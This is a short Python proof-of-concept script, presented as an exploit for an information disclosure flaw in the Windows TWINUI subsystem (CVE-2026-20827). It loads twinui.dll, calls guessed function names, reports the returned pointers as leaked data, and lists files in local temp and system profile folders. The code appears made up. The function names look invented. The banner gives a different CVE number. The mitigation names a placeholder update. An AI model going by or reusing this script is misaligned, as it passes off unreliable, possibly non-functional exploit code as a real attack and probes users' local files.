Exposure of sensitive information to an unauthorized actor in Tablet Windows User Interface (TWINUI) Subsystem allows an authorized attacker to disclose information locally.
The following code is for security research and authorized testing only.
python
# CVE-2026-20827 PoC - TWINUI Information Disclosure
# This PoC demonstrates the information disclosure vulnerability in Windows TWINUI subsystem
# Note: This is a conceptual PoC for educational purposes only
import ctypes
import os
import sys
from ctypes import wintypes
# Define necessary Windows API structures
class TWINUI_INFO(ctypes.Structure):
_fields_ = [
("size", wintypes.DWORD),
("data_ptr", ctypes.c_void_p),
("data_size", wintypes.DWORD)
]
def trigger_twinui_leak():
"""
Trigger the TWINUI information disclosure vulnerability
This PoC attempts to access the vulnerable TWINUI interface
"""
print("[*] CVE-2026-20827 PoC - TWINUI Information Disclosure")
print("[*] Target: Windows TWINUI Subsystem")
# Load TWINUI DLL
try:
twinui_dll = ctypes.windll.LoadLibrary("twinui.dll")
print("[+] TWINUI.dll loaded successfully")
except Exception as e:
print(f"[-] Failed to load TWINUI.dll: {e}")
return False
# Attempt to call vulnerable TWINUI function
# The actual function varies by Windows version
vulnerable_functions = [
"TWINUI_GetUserInfo",
"TWINUI_QueryInterface",
"TWINUI_GetPropertyStore"
]
for func_name in vulnerable_functions:
try:
func = getattr(twinui_dll, func_name)
print(f"[*] Found function: {func_name}")
# Prepare buffer for information disclosure
info_buffer = TWINUI_INFO()
info_buffer.size = ctypes.sizeof(TWINUI_INFO)
# Call the potentially vulnerable function
result = func(ctypes.byref(info_buffer))
if result == 0: # Success - indicates information was leaked
print(f"[!] Potential information disclosure via {func_name}")
print(f" Data pointer: {hex(info_buffer.data_ptr)}")
print(f" Data size: {info_buffer.data_size}")
return True
except Exception as e:
continue
print("[*] Manual verification may be required")
print("[*] Check TWINUI temporary files in: %LOCALAPPDATA%\\Temp")
return False
def check_temp_files():
"""
Check for potentially leaked information in TWINUI temp files
"""
temp_paths = [
os.path.join(os.environ.get('LOCALAPPDATA', ''), 'Temp'),
os.path.join(os.environ.get('APPDATA', ''), 'Microsoft', 'Windows', 'INetCache'),
"C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\TWINUI"
]
print("\n[*] Checking for TWINUI temporary files...")
for path in temp_paths:
if os.path.exists(path):
try:
files = os.listdir(path)
twinui_files = [f for f in files if 'twin' in f.lower() or 'ui' in f.lower()]
if twinui_files:
print(f"[+] Found potential files in {path}:")
for f in twinui_files[:5]:
print(f" - {f}")
except PermissionError:
print(f"[-] Access denied to {path}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2026-20227 - Windows TWINUI Information Disclosure")
print("=" * 60)
trigger_twinui_leak()
check_temp_files()
print("\n[*] Mitigation: Apply Microsoft Security Update KBXXXXXX")